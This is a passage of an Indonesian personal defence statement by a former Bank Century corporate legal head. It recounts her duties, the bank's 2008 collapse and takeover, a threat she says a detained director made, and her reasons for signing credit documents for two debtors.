ke tiga dan ingin membantu suami, saya melamar di PT Bank Century tbk melalui seorang teman angkatan 83 di FHUI, dimana kebetulan pada saat itu suami saya sudah bekerja sebelumnya disana sebagai staff di Divisi Operasional. Saya diterima bekerja di PT Bank Century Tbk dan diangkat melalui keputusan direksi PT Bank Century berdasarkan …………. dan tindakan yang saya lakukan di PT Bank Century Tbk adalah sebagai Kuasa dari Direksi berdasarkan Surat Kuasa nomor…. tanggal…. yang ditandatangani oleh Hermanus Hermanus Hasan Muslim – Direktur Utama dan Hamidy – Wakil Direktur Utama. Dengan diterimanya saya di PT Bank Century Tbk, maka status karyawan tetap suami saya diubah menjadi karyawan kontrak atas suatu proyek pekerjaan tertentu. Saya kaget, karena ternyata di dalam Perjanjian Kerja Bersama PT Bank Century Tbk, pasangan suami-isteri diperbolehkan bekerja di PT Bank Century Tbk. Saya sempat mengajukan pertanyaan kepada Kepala Divisi SDM pada saat itu, dan dijawab bahwa pemutusan hubungan kerja atas suami saya dan dijadikan karyawan berbasis kontrak tersebut adalah atas saran dari Kepala Divisi Satuan Kerja Audit Intern (SKAI) yakni saksi Susana Coa. Karena membutuhkan pekerjaan ini, dengan rasa was-was dan berusaha berbesar hati karena toh suami saya masih dipekerjakan walaupun dalam rentang waktu yang tidak ditentukan saya tidak dapat mengajukan protes kepada Direksi pada saat itu dan menerima keputusan itu. Masuk ke dalam suatu Divisi Corporate Legal dengan kurang lebih 16 orang staf dengan 5 orang kepala bagian legal bukanlah hal yang mudah, bank pasca merger beberapa bulan sebelumnya masih terasa nuansa ketidak tertiban yang kental dari sebagian besar staf yang ada di Divisi Corporate Legal dan masing-masing staf masih membawa kultur lama bank mereka berasal. Dengan pesan dari kepala Divisi HRD bahwa anda akan masuk ke area dimana staf anda akan susah di atur terutama yang berasal dari ex mantan karyawan Bank CIC, saya tidak tahu mengapa Kepala Divisi SDM berpesan seperti itu, saya hanya berpikir apakah dikarenakan Kepala Divisi SDm berasal dari karyawan ex bank Pikko. Menjalani tugas sebagai Kepala Divisi Corporate Legal sebagai Kuasa Direksi : Yang pertama saya periksa adalah : 1. Keberadaan dokumen jaminan kredit, karena hal itu menurut hemat saya adalah merupakan hal yang krusial yang harus saya lakukan sehubungan dengan serah terima jabatan dengan pejabat Kepala Divisi Corporate. Ternyata saat itu, tidak ada administrasi pada dokumen jaminan kredit, berapa sertipikat dan dokumen lain yang disimpan tidak ada sama sekali. 2. Standard format perjanjian kredit dan jaminan termasuk format Analisa Aspek Legal , yang menurut penilaian saya teramat sederhana untuk mengcover kepentingan bank secara maksimal. Yang kedua menertibkan karyawan di lingkungan Divisi Corporate Legal, dari hal pemakaian seragam sampai urusan mangkir dari tempat kerja.

Hal ini tentu saja menuai ketidak senangan dari beberapa Kepala Bagian dan Staf di Divisi Corporate Legal yang kebanyakan berasal dari karyawan yang berasal dari Bank CIC, sehingga mengadukan saya kepada Bapak Hamidy, pada saat itu bertindak sebagai Wakil Direktur Utama yang berasal dari (juga) Bank CIC. Beberapa Kepala Bagian Legal dan staf yang kebanyakan berasal dari Bank CIC menyatakan keberatan mereka atas pengangkatan saya sebagai Kepala Divisi sehubungan dengan dipindahkannya Office Boy kesayangan mereka ( yang faktanya sering ditemukan tidur di kantor dan mangkir) dari Kantor Pusat ke kantor Cabang di Kuningan. Pada saat itu saya mengetahui ketidak senangan anak buah saya karena saya menegakkan tata tertib di lingkungan dimana mereka biasa makan (besar) seenaknya pada jam kerja, tidak mau menggunakan seragam dan lain sebagainya yang akhirnya menimbulkan ketidaksenangan mereka terhadap saya. Namun ketika saya dikonfirmasi oleh Wakil Direktur Utama pada saat itu, saya dapat menjelaskan duduk persoalan yang sebenarnya yakni untuk menegakkan disiplin dan ketertiban. Yang ketiga, saya mendapatkan tugas untuk mengecilkan struktur organisasi di Divisi Corporate Legal, dari 5 (lima) orang kepala bagian menjadi 3 (tiga) orang kepala bagian legal.

Sebelum hal ini terjadi, Direksi telah menawarkan pengunduran diri seorang kepala bagian legal ex Bank CIC yang belakangan saya ketahui orang ini banyak “mengetahui” banyak penyimpangan yang dilakukan management. Pemilihan kabag legal itu sendiri dibuat se fair mungkin oleh Divisi SDM pada saat itu, namun saya mendapat telpon dari Anton Tantular, yakni adik dari Robert Tantular untuk tetap mempertahankan Suhana Halim sebagai Kepala Bagian Legal. Saya tidak dapat bereaksi apa-apa pada saat itu karena saya tidak mempunyai kewenangan untuk menentukan hal tersebut dan hanya menyampaikan hal tersebut kepada kepala Divisi SDM pada saat itu. Selanjutnya yang saya ketahui keluarnya Surat Keputusan Direksi nomor 006.1/SK-DIR/Century/II/2006 tanggal 16 Februari 2006 tentang Struktur Organisasi Divisi Corporate Legalyang kemudian diubah dengan nomor 09/SK-DIR/Century/II/2008 dan tanggal 1 Februari 2008. Sedangkan Surat Keputusan tentang penetapan Kepala Bagian Legal terpilih diterima oleh masing-masing Kepala Bagian itu sendiri yakni Suhana Halim, Yanto Saloh dan Gunawan Wibisono pada tahun 2006 dan pada tahun 2008 ditambahkan seorang kepala Bagian Legal 4 yaitu Sakti Dharma. Selanjutnya saya menjalankan pekerjaan saya sebagai Kepala Divisi Corporate Legal tanpa diberikan job des yang ditandatangani oleh Direksi sebagai atasan langsung saya. Namun dari Surat Keputusan Direksi tentang struktur organisasi Divisi Legal sebagaimana saya sampaikan pada paragraf sebelumnya saya bukan orang yang melakukan Analisa Aspek Legal, Pembuatan Surat Penegasan Kredit, Surat Kuasa Direksi, Surat Persetujuan Komisaris, Perjanjian Kredit dan Perjanjian Jaminan.

Karena hal tersebut merupakan tanggung jawab dari Kepala Bagian Legal 1 atau Kepala Bagian Legal 2. Petikan dari pasal 2 Surat Keputusan Direksinomor 09/SK-DIR/Century/II/2008 dan tanggal 1 Februari 2008tentang Struktur Organisasi Divisi Corporate Legal. Pasal 2 Tugas dan Tanggung Jawab

(1) Bagian 1 bertanggung jawab atas seluruh proses legal kredit di cabang-cabang dan atau wilayah Bank yang ditentukan oleh Kepala Divisi Legal agar sesuai dengan ketentuan yang berlaku termasuk kelengkapan dokumen jaminan serta kebenaran pengikatan kredit dan jaminannya; memberikan bantuan atau opini hukum dalam transaksi atau perjanjian antara unit kerja bank dengan pihak ketiga; memberikan bantuan atau opini hukum terkait dengan corporate legal.

(2) Bagian 2 bertanggung jawab atas seluruh proses legal kredit di cabang-cabang dan atau wilayah Bank yang ditentukan oleh Kepala Divisi Legal agar sesuai dengan ketentuan yang berlaku termasuk kelengkapan dokumen jamiinan serta kebenaran pengikatan kredit dan jaminannya; memberikan bantuan atau opini hukum dalam transaksi atau perjanjian antara unit kerja bank lainnya dan atau manajemen bank dengan pihak ketiga; memberikan bantuan atau opini hukum terkait dengan corporate legal.

(3) Bagian 3 bertanggung jawab atas penyelesaikan kredit bermasalah dan pengambil alihah agunan (AYDA) diseluruh wilayah kerja Bank; membantu dan menangani perkara-perkara yang dihadapi Bank baik di dalam mapun di luar pengadilan; mengkoordinir dan memonitor konsultan dan atau pengacara Bank dalam penanganan masalah legal Bank.

(4) Bagian 4 bertanggung jawab dalam penyimpanan dan administrasi dokumen jaminan untuk seluruh wilayah Bank agar sesuai dengan ketentuan yang berlaku termasuk bertanggung jawab atas kelengkapan dokumen yang menjadi tanggung jawabnya.

(5) Selain tugas dan tanggung jawab sebagaimana dimaksud dalam ayat (1) sampai dengan ayat (4), setiap bagian dalam Divisi Legal juga bertanggung jawab atas penyelesaian tugas-tugas lainnya terkait dengan Divisi Legal yang diberikan oleh Kepala Divisi Legal. Masing-masing tugas tersebut dilakukan oleh : Jenis Pekerjaan Dilakukan oleh Analisa Aspek Legal : Adalah review dokumen yang dilakukan oleh staf divisi legal dalam rangka penyampaian fotocopy dokumen legal atas suatu permohonan kredit yang diajukan oleh Debitur sebelum diajukan kepada Komite Kredit Yang Berwenang di PT Bank Century Tbk dimana kewenangan Komite Kredit itu sendiri akan mengacu kepada besaran kredit yang diajukan. Dalam Analisa Aspek Legal terdapat beberapa kolom yang berisi nama Debitur, kategori Debitur : perorangan atau perseroan, analisa dari dokumen legal (KTP pribadi atau pengurus, siapa yang berhak dan sah untuk menandatangani dokumen pengikatan kredit, akta pendirian, izin dari perseroan, npwp, dll) , bentuk pengikatan yang dianjurkan untuk pengikatan kredit dan jaminannya serta saran dari staf legal yang melakukan analisa tersebut Staf Legal yang bertugas, dalam hal ini Kepala Bagian Legal termasuk orang yang membuatnya.

Surat Penegasan Kredit : yakni surat pemberitahuan kepada calon Debitur yang berisi persetujuan Bank untuk memberikan fasilitas kredit dengan syarat dan ketentuan yang disetujui bank. Dalam Internal Memo Direksi nomor … tanggal… tentang…., Surat Penegasan Kredit ini tidak seluruhnya dibuat oleh Divisi Corporate Legal, karena tugas ini baru dibuat oleh Divisi Corporate Legal apabila jumlah fasilitas kredit yang diberikan kepada Debitur melebihi jumlah Rp. 10.000.000.000,- (sepuluh milyar Rupiah) Dibuat oleh staf administrasi Divisi Corporate Legal setelah memperoleh Formulir Persetujuan Kredit dari Cabang dimana fasilitas kredit itu akan dibukukan. Yang saya lakukan adalah membubuhkan paraf sebagai pemeriksa atas apa yang dibuat oleh staf administrasi Divisi Legal untuk kemudian ditandatangani oleh 2 anggota Direksi. Sebagai catatan : Pimpinan Cabang akan membubuhkan parafnya sebagai pemeriksa dari Surat Penegasan Kredit yang disiapkan untuk memastikan apakah ketentuan yang dicantumkan sudah sesuai dengan permohonan kredit yang diajukan debitur dan sudah disetujui oleh Komite Kredit. Surat Kuasa Direksi : Surat Kuasa Direksi adalah bentuk pendelegasian wewenang 2 anggota Direksi yang bertindak untuk dan atas nama perseroan kepada Pimpinan Cabang dan Staf Legal. Di PT Bank Century Tbk, sudah disiapkan Surat Kuasa Direksi dalam bentuk yang umum kepada setiap Pimpinan Cabang yang baru diangkat / ditempatkan disuatu cabang untuk bersama-sama dengan Staf Legal. Surat Kuasa yang umum dipersiapkan untuk pengikatan kredit sampai dengan jumlah Rp. 2.000.000.000.- (dua milyar Rupiah). Sedangkan untuk jumlah di atas itu, Direksi akan memberikan Surat Kuasa yang dibuat secara terpisah, dimana tanggal dan penomorannya ada dan dicatat pada Divisi Corporate Secretary yang mengadministrasikan surat menyurat Direksi dan Komisaris. Dibuat oleh staf administrasi Divisi Corporate Legal setelah memperoleh Formulir Persetujuan Kredit dari Cabang dimana fasilitas kredit itu akan dibukukan. Yang saya lakukan adalah membubuhkan paraf sebagai pemeriksa atas apa yang dibuat oleh staf administrasi Divisi Legal untuk kemudian ditandatangani oleh 2 anggota Direksi Surat Persetujuan Komisaris : Surat Persetujuan Komisaris dibuat sebagai kelengkapan bahwa atas jumlah fasilitas kredit yang diberikan kepada Debitur adalah jumlah yang disetujui oleh Komisaris, hal mana merupkan pencerminan daripada persetujuan 2 orang anggota Komisaris di dalam dokumen Formulir Persetujuan Kredit (FPK). Surat Persetujuan Komisaris tersebut dibuat untuk fasilitas kredit diatas jumlah Rp. 2.500.000.000,- (dua milyar lima ratus juta Rupiah). Persetujuan Komisaris ini dibuat sebagai bukti formal dari persetujuan komisaris nantinya akan diadminstrasikan bersama minuta akta notaris (apabila pengikatan kredit dilaksanakan dalam bentuk notarial) dan disimpan di bank bersama dengan akta perjanjian kredit yang dibuat di bawah tangan.

Sebagaimana Surat Kuasa Direksi tanggal dan penomoran Surat Persetujuan Komisaris ada dan dicatat pada Divisi Corporate Secretary yang mengadministrasikan surat menyurat Direksi dan Komisaris. Dibuat oleh staf administrasi Divisi Corporate Legal setelah memperoleh Formulir Persetujuan Kredit dari Cabang dimana fasilitas kredit itu akan dibukukan. Yang saya lakukan adalah membubuhkan paraf sebagai pemeriksa atas apa yang dibuat oleh staf administrasi Divisi Legal untuk kemudian ditandatangani oleh 2 anggota Komisaris Perjanjian Kredit (akta dibawah tangan) : Dalam Kebijakan Perkreditan bank PT Bank Cdntury Tbk yang disahkan oleh Keputusan Direksi tanggal .. nomor.. Perjanjian Kredit dapat dibuat secara notarial atau dibawah tangan. Untuk PT Bank Century Tbk (halaman… buitr…) ada sebuah kebijakan yang dibuat sebelum saya menjabat, bahwa atas perjanjian kredit yang dibuat secara notarial, Bank tetap menyiapkan perjanjian kredit yang dibuat dalam bentuk akta perjanjian di bawah tangan. Kedua bentuk Perjanjian Kredit tersebut untuk mengikat Debitur dalam memperoleh fasilitas kredit dari bank. Staf legal atau Kepala Bagian Legal Konsep perjanjian jaminan dalam bentuk akta dibawah tangan disiapkan oleh staf legal atau Kepala Bagian Legal yang bertugas dalam format standard yang telah ada di masing-maing computer. Staf legal atau Kepala Bagian Legal yang mengisi kolom-kolom yang kosong termasuk tanggal dan nomor dari buku registrasi untuk tanggal dan nomor perjanjian kredit serta mereka yang akan mencantumkan informasi mengenai jaminan, masa berlaku perjanjian dan nama-nama orang yang berhak untuk menandatangani akta tersebut, serta keterangan lain yang perlu untuk dicantumkan. Perjanjian Jaminan : Apabila telah ditentukan dalam halaman …. Formulir Persetujuan Kredit (FPK) bentuk pengikatan kreditnya oleh Komite Kredit, maka Divisi Corporate Legal akan melaksanakan pengikatan kredit dan jaminan sesuai dengan apa yang disetujui pada halaman tersebut Staf legal atau Kepala Bagian Legal Konsep perjanjian jaminan dalam bentuk akta dibawah tangan disiapkan oleh staf legal atau Kepala Bagian Legal yang bertugas dalam format standard yang telah ada di masing-masing computer. Mereka akan yang mengisi kolom-kolom yang kosong termasuk tanggal, informasi tentang jaminan dan nama-nama orang yang berhak untuk menandatangani akta tersebut, serta keterangan lain yang perlu untuk dicantumkan. Diperiksa sebagai saksi atas tersangka Hermanus Hasan Muslim dan Robert Tantular : Pada tanggal 13 November 2008, PT Bank Century Tbk. Mengalami gagal kliring disebabkan keterlambatan melakukan penyetoran ke Bank Indonesia sejumlah Rp. 5.000.000.000,- yang disebabkan keterlambatan Direksi PT Bank Century tbk, pada saat itu Hermanus Hasan Muslim – Direktur Utama dan Hamidy – Wakil Direktur Utama terlambat datang untuk ke Bank Sinar Mas yang terletak di jalan MH Thamrin. Pada pagi itu dilaksanakan perjanjian jual aset antara PT Bank Century Tbk dengan PT Bank Sinar Mas atas aset PT Bank Century Tbk, yang notabene masih berhubungan dengan fasilitas-fasilitas yang diberikan oleh PT Bank Century Tbk kepada grup dari PT Bank Sinar Mas. Keterlambatan ini akhirnya tidak dapat menolong PT Bank Century Tbk, yang pada saat itu mengalami kesulitan pembayaran kepada nasabah-nasabahnya atas deposito atau fasilitas keuangan lainnya yang ada di PT Bank Century Tbk. Pada tanggal 14 November 2008, dinihari saya mendapat sms dari Hamidy yang mengatakan bahwa Bank Indonesia telah menyetujui pemberian fasilitas repo yang diajukan oleh PT Bank Century Tbk, yang belakangan disebut dengan FPJP atau Fasilitas Pinjaman Jangka Pendek dan saya pada hari itu harus ikut ke Bank Indonesia membawa fotocopy dokumen jaminan yang akan diserahkan ke Bank Indonesia Siangnya saya bersama-sama anggota Komisaris, kecuali Bpk. Heeshaam Al Waraq, yakni 1. Bpk. Sulaiman AB – Komisaris Utama. 2. Bpk. Rusli Prakarsa – Komisaris Independen 3. Bpk. Poerwanto Kamsjadi – Komisaris Independen. seluruh anggota Direksi, kecuali Direktur Treasury Krishna Jagateesen (yang pada saat itu sudah tidak pernah kembali lagi ke Indonesia) ; 1. Hermanus Hasan Muslim – Direktur Utama 2. Hamidy – Wakil Direktur Utama 3. Edward Situmorang – Direktur Kepatuhan, Disertai beberapa Kepala Divisi pada saat itu : 1. I Nyoman Srinata – Kepala Divisi Operasional 2. Darso Wijaya – Staf ahli Direksi dan Care Taker Kepala Divisi Settlement Kredit dan Pelaporan Kredit 3. Alam G Cahyadi – Kepala Divisi Kredit I. Dan beberapa staf dari Divisi Corporate Legal juga ikut hadir bersama juga kehadiran dari Buntario Tigris Ng, Notaris dengan stafnya. Proses pemberian FPJP itu sendiri memakan waktu yang lama dari siang hari tanggal 14 November 2009 sampai dinihari keesokan harinya , karena PT Bank Century Tbk tidak mendapat cukup informasi mengenai apa yang harus disiapkan untuk penandatangan FPJP tersebut. Pada tanggal 15 November 2008 semua kepala Divisi dan Pimpinan Cabang PT Bank Century diharuskan hadir pada rapat yang diadakan Direksi. Yang hadir pada saat itu dari jajaran Direksi adalah Hermanus Hasan Muslim dan Hamidy, dari jajaran Komisaris yang hadir adalah Purwanto Kamsjadi, dan dihadiri oleh Robert Tantular sebagai pemegang saham. Pada saat itu dijelaskan oleh Robert Tantular situasi ketidakmampuan bayar PT Bank Century Tbk dikarenakan oleh beberapa hal yakni : Krisis Global, Penarikan Uang oleh grup Sampoerna di Cabang Surabaya yang besarnya kurang lebih sampai dengan Rp. 1,5 triliun. Pada saat itu Robert Tantular menjelaskan bahwa grup Sinar Mas akan segera mengambil alih sebagian saham PT Bank Century Tbk dan akan segera dilakukan Legal Due Diligence oleh calon Investor tersebut. Namun setelah penandatangan FPJP tersebut, ternyata kucuran yang diberikan oleh Bank Indonesia tidak pernah cukup walaupun telah diikuti dengan beberapa tahapan FPJP tambahan sehingga akhirnya pada tanggal 20 November 2008, permohonan FPJP dari PT Bank Century Tbk tidak dapat disetujui lagi oleh Bank Indonesia, begitu yang saya dengar dari teman-teman yang ikut ke Bank Indonesia pada malam itu. Keesokan harinya tanggal 21 November 2008 saya mendapat berita bahwa PT Bank Century Tbk, telah diambil alih oleh pemerintah melalui Lembaga Penjamin Simpanan (LPS). Beberapa hari berikutnya, saya mendengar kabar bahwa pemegang saham PT Bank Century Tbk, Robert Tantular di tahan oleh Mabes Polri yang beberapa hari kemudian diikuti oleh penahanan Direktur Utama PT Bank Century Tbk, Hermanus Hasan Muslim. Pengambil alihan PT Bank Century Tbk oleh pemerintah qq LPS diikuti dengan masuknya tim dari Direktorat Investigasi Moneter Perbankan (DIMP) dari Bank Indonesiayang dipimpin oleh Ahmad Berlian. Saya dan beberapa teman dimintai keterangan bahkan saya sampai merasa tertekan dan saya sempat diperiksa sampai jam 2 (dua) pagi dinihari, sungguh suatu pengalaman yang memprihatinkan bagi saya. Dari hasil pemeriksaan DIMP yang disampaikan secara lisan oleh Ahmad Berlian kepada Ibu Linda Wangsadinata – mantan Pimpinan KPO Senayan (Terdakwa 1) dan saya bahwa saya dan Terdakwa 1 adalah karyawan yang dikorbankan oleh Robert Tantular – Pemegang Saham dan Hermanus Direktur Utamanya sehubungan dengan “kredit komando” yang terjadi di PT Bank Century Tbk. Pada tanggal 28 Januari 2009, sebagai warga negara yang baik saya datang ke Bareskrim Mabes Polri untuk memenuhi panggilan sebagai saksi. Dengan semangat membantu pihak Bareskrim dalam mengungkap kejahatan yang dilakukan oleh Robert Tantular dan Hermanus Hasan Muslim. Pada saat pemeriksaan saya di dampingi oleh penasehat hukum dari kantor Pradjoto, SH and associate (PNA) dengan ketua timnya pada saat itu adalah Tito Hanamto, SH.

Panggilan untuk saya dan teman-teman dilaksanakan dalam beberapa hari, namun disatukan dalam satu Berita Acara Pemeriksaan. Pada bulan Februai 2009 (tanggalnya saya tidak ingat), didampingi oleh Gunawan Wibisono Kepala Bagian Legal dan satu orang pengacara dari Pradjoto and Associate, saya bersama-sama Terdakwa 1 dan Saksi Nofi memenuhi panggilan penyidik Karta, SH untuk di konfrontir dengan Hermanus Hasan Muslim yang pada saat itu berstatus tersangka dan menjadi tahanan di Bareskrim. Setelah dipertemukan dengan Hermanus Hasan Muslim, Penyidik membatalkan acara konfrontasi tersebut dan pergi keluar ruangan 314 unit perbankan. Pada saat itu Hermanus Hasan Muslim memarahi saya, Terdakwa I, saksi Nofi dan Gunawan Wibisono di depan meja kerja Penyidik Karta, SH, dan menyampaikan ancamannya “Lo semua pada bilang bahwa kreditnya gak sesuai prosedur, harusnya lo bilang semua sesuai prosedur. Gue udah tiga bulan di dalam (maksudnya tahanan bareskrim), lihat aja lo semua nanti gue tarik ke dalam mulai dari Account Officernya sampai yang bagian pencairan, siapa namanya yang dibagian pencairan?”. Ancaman ini kami sampaikan kepada penyidik Karta, SH, segera setelah Hermanus Hasan Muslim dimasukan kembali ke dalam ruang tahanan.Namun penyidik pada waktu itu tidak memberikan reaksi yang berarti hanya mengatakan : “Saya heran kenapa Hermanus gak mau nunjuk si Robert..” Selanjutnya saya mendapat surat panggilan ke untuk datang ke Bareskrim, pada tanggal 21 April 2009 sebagai Tersangka. Karena shock dizholimi seperti itu dan memikirkan nasib anak-anak saya, tidak mau makan sampai akhirnya harus dirawat dirumah sakit. Barulah ketika saya sudah agak kuat, saya datang memenuhi panggilan Bareskrim untuk dimintai keterangan kalau tidak salah pada tanggal 29 April 2009.

Terdengar para penyidik yang ada diruang perbankan mengatakan bahwa saya ditetapkan sebagai “tersangka” karena ada “bom” dari Hermanus. Namun karena pada saat itu saya amat merasa tertekan, saya tidak ingat siapa penyidik yang ada di ruang 314 Perbankan Bareskrim yang mengatakan itu. Sungguh sampai sekarang saya tidak mengerti maksud “bom dari Hermanus” itu maksudnya apa. Diperiksa atas 4 debitur kredit atas nama PT Canting Mas Persada (CMP). PT Wibowo Wadah Rejeki (WWR), PT Accent Investment Indonesia (AII) dan PT Signature Capital Indonesia (SCI). Saya tidak mengerti kenapa saya ditetapkan menjadi tersangka atas 4 debitur kredit tersebut di atas, karena sepengetahuan saya Hermanus Hasan Muslim diperiksa menjadi tersangka atas masalah: 1. Surat-surat berharga senilai USD 220.000.000,- .(United States Dollars dua ratus dua puluh juta) 2. 3 (tiga) Debitur kredit atas nama WWR, AII dan SCI Sedangkan Robert Tantular diperiksa menjadi tersangka atas masalah : 1. Surat-surat berharga senilai USD 220.000.000,- (United States Dollars dua ratus dua puluh juta) 2. 3 (tiga) Debitur kredit atas nama WWR, AII dan SCI. 3. USD 18.000.000,- (United States Dollars delapan belas juta) milik Budi Sampoerna 4. Commitment Letter dengan Bank Indonesia. Lalu kenapa saya harus diperiksa atas 4 kredit ? Mengapa kredit atas nama CMP yang sudah lunas dimasukkan kedalam pemeriksaan saya sebagai Tersangka. Hal yang tidak pernah terjawab sampai saat ini apabila dakwaan saya dikaitkan dengan pasal 55 KUHP dan dikaitkan dengan terpidana Hermanus Hasan Muslim dan Robert Tantular.

CMP dan WWR CMP dan WWR berdasarkan dokumen yang saya peroleh setelah diperiksa di Bareskrim : 1. Persetujuan Direksi dan Komisaris atas Memorandum dari Divisi Treasury tanggal 16 November 2006 perihal : Penjualan dan Repo Surat Berharga Valuta Asing, atas penjualan : a. USD 15,000,000,- Banca Populare di Milano, variable rate Certificates of Deposit, jatuh tempo tanggal 30 Oktober 2008 dengan harga 98,50. b. USD 3,000,000 Westdeusche Landesbank jatuh tempo tanggal 4 November 2008 dengan harga 100. c. USD 7,000,000 National Australia Bank variable rate certificates of Deposit jatuh tempo 3 November 2008 dengan harga 100. 2. Surat PT Bank Century tbk, kepada Treasury Department FBME Bank Ltd, tanggal 22 November 2006, perihal : Confirmation of our Sale to you. (atas Surat Berharga Westdeusche Landesbank senilai USD 3,000,000.- dan Surat Berharga National Australia Bank senilai USD 7,000,000.-). 3. Surat PT Bank Century tbk, kepada Treasury Department FBME Bank Ltd, tanggal 22 November 2006, perihal : Confirmation of our Sale to you. (atas Surat Berharga Banca Populare di Milano senilai USD 15,000,000.-) 4. Surat FBME BANK LTD, tanggal 29 November 2006 perihal : Transfer Authorization atas atas Surat Berharga Westdeusche Landesbank senilai USD 3,000,000.- dan Surat Berharga National Australia Bank senilai USD 7,000,000.-). 5. Surat FBME BANK LTD, tanggal 29 November 2006 perihal : Transfer Authorization atas Surat Berharga Banca Populare di Milano senilai USD 15,000,000.-) 6. Perjanjian Penjualan Dan Pembelian Kembali Surat Berharga Valuta Asing (Reurchase Agreement antara PT Canting Mas Persada dengan PT Bank Century Tbk. No. TSY-058/XI/2006, tanggal 28-11-2006 7. Perjanjian Penjualan Dan Pembelian Kembali Surat Berharga Valuta Asing (Reurchase Agreement antara PT Wibowo Wadah Rejeki dengan PT Bank Century Tbk. No. TSY-058/XI/2006, tanggal 28-11-2006 Artinya CMP dan WWR telah menjadi nasabah PT Bank Century Tbk sejak tahun 2006 dan pencairantelah dilakukan. Namun pada tahun itu transaksi CMP dan WWR tercatat sebagai nasabah di Divisi Treasury PT Bank Century Tbk dengan jenis transaksi REPO, dimana Surat Berharga milik PT Bank Century, tbk dijual kepada FBME Ltd dan FBME Ltd melepaskan haknya kepada CMP dan WWR untuk memperoleh fasilitas REPO di PT Bank Century Tbk. Selanjutnya yang saya ketahui tentang CMP dan WWR adalah ketika sekitar akhir bulan November 2007, ketika saya hendak masuk lift di lantai 2 untuk menghadiri rapat struktural kepala divisi yang berada dibawah Direktur Utama Hermanus Hasan Muslim (di lantai 16), yang diadakan setiap akhir bulan, saya ditemui oleh saksi Nofi yang menyampaikan pesan dari Terdakwa 1 : “Bu ini ada kredit yang harus dibukukan pada akhir bulan ini”. Saya sempat menjawab : “Ini sudah tanggal berapa Nofi, ini bulannya sudah mau habis 2 hari lagi. Coba kamu serahkan kepada ibu Suhana Halim (Kabag Legal yang bertanggung jawab untuk pengikatan kredit di Wilayah 3 PT Bank Century Tbk, dimana KPO Senayan berada dibawah wilayah 3 dan dipimpin oleh saksi Lisa Monalisa), agar dijalankan sesuai prosedur”. Didepan lift saya sempat memalingkan kepala saya ke area exim di Cabang KPO Senayan, dimana diujung ruangan itu saya melihat Terdakwa 1 dan saya sempat mengajak Terdakwa 1 untuk segera bergabung dengan saya untuk menghadiri rapat : “Ayo bu, kita naik”. Tapi saat itu Terdakwa 1 mengatakan :”Saya nyusul bu, saya lagi pusing nih disuruh bukukan kredit akhir bulan ini sama si Hermanus”. Lalu karena lift sudah terbuka, saya masuk ke dalam lift dan menghadiri rapat di lantai 16 gedung Sentral Senayan 1. Proses selanjutnya saya tidak mengetahui lagi, sampai pada tanggal 5 atau 6 Desember 2007, staf administrasi KPO Senayan Suswanto datang ke ruang kerja saya dengan membawa dokumen WWR. Dokumen tersebut berupa Perjanjian Kredit atas nama WWR yang sudah ditandatangani Debitur. Dalam dokumen perjanjian kredit tersebut kolom kosong tanggal dan nomor perjanjian kredit sudah diisi dengan ketikan manual. Yakni tanggal 3 Desember 2007 dengan nomor 10022/LD/XII/07.009 dan pada kolom nama wakil dari Direksi sudah dicantumkan nama Terdakwa 1 dan saya dan sudah ada paraf dari Suhana Halim, Kabag Legal 1 yang membuat konsep perjanjian kredit tersebut. Selain dokumen akta perjanjian kredit yang dibuat dibawah tangan ini saya melihat ada lampiran berupa Formulir Persetujuan Kredit (FPK) dan Memo Pumbukuan Fasilitas Kredit yang sudah ditandatangani oleh Terdakwa 1. Lalu saya membubuhkan tandatangan saya pada kolom yang ada di MPFK tersebut dalam kolomg “diperiksa”.

Tandatangan tersebut saya bubuhkan dengan pertimbangan bahwa : a. Ada perintah untuk membukukan transaksi REPO tersebut untuk menjadi transaksi kredit dari Hermanus. b. Sudah ada tandatangan terdakwa 1 pada FPK c. Sudah ada tandatangan Terdakwa 1 pada MPFK pada kolom “disetujui”. d. Harus membela kepentingan Bank dengan adanya perjanjian kredit dengan debitur, agar bank dapat melakukan penagihan berdasarkan perjanjian apabila debitur melakukan wanprestasi. Sebelum membubuhkan tandatangan tersebut saya menanyakan kepada Suswanto, mana tandatangan Suhana Halim, karena yang menyiapkan dokumen perjanjian dan kredit adalah Suhana Halim. Dijawab oleh Suswanto saat itu bahwa yang bersangkutan sedang keluar kantor dikarenakan ada pengikatan kredit diluar kantor dan WWR harus dibukukan segera.Saya tidak melihat ada analisa aspek legal yang dibuat oleh Suhana Halim pada saat itu.

Demikian pula dengan CMP, kejadiannya sama dengan di atas bahwa sudah ada dokumen perjanjian kredit tersebut kolom kosong tanggal dan nomor perjanjian kredit sudah diisi dengan ketikan manual. Yakni tanggal 3 Desember 2007 dengan nomor 10022/LD/XII/07.009 dan pada kolom nama wakil dari Direksi sudah dicantumkan nama Terdakwa 1 dan saya dan sudah ada paraf dari Suhana Halim, Kabag Legal 1 yang membuat konsep perjanjian kredit tersebut. Selain dokumen akta perjanjian kredit yang dibuat dibawah tangan ini saya melihat ada lampiran berupa Formulir Persetujuan Kredit (FPK) dan Memo Pumbukuan Fasilitas Kredit yang sudah ditandatangani oleh Terdakwa 1. Lalu saya membubuhkan tandatangan saya pada kolom yang ada di MPFK tersebut dalam kolomg “diperiksa”. Tandatangan tersebut saya bubuhkan dengan pertimbangan bahwa : a. Ada perintah untuk membukukan transaksi REPO tersebut untuk menjadi transaksi kredit dari Hermanus dan Robert Tantular. b. Sudah ada tandatangan terdakwa 1 pada FPK c. Sudah ada tandatangan Terdakwa 1 pada MPFK pada kolom “disetujui” d. Harus membela kepentingan Bank dengan adanya perjanjian kredit dengan debitur, agar bank dapat melakukan penagihan berdasarkan perjanjian apabila debitur melakukan wanprestasi. Selanjutnya saya tidak mengetahui proses transaksi dari CMP dan WWR dalam hal pencairan kredit karena hal tersebut bukan merupkan wewenang saya tetapi merupakan wewenang dari Divisi Setelmen Kredit dan Pelaporan Kredit (SKPK).

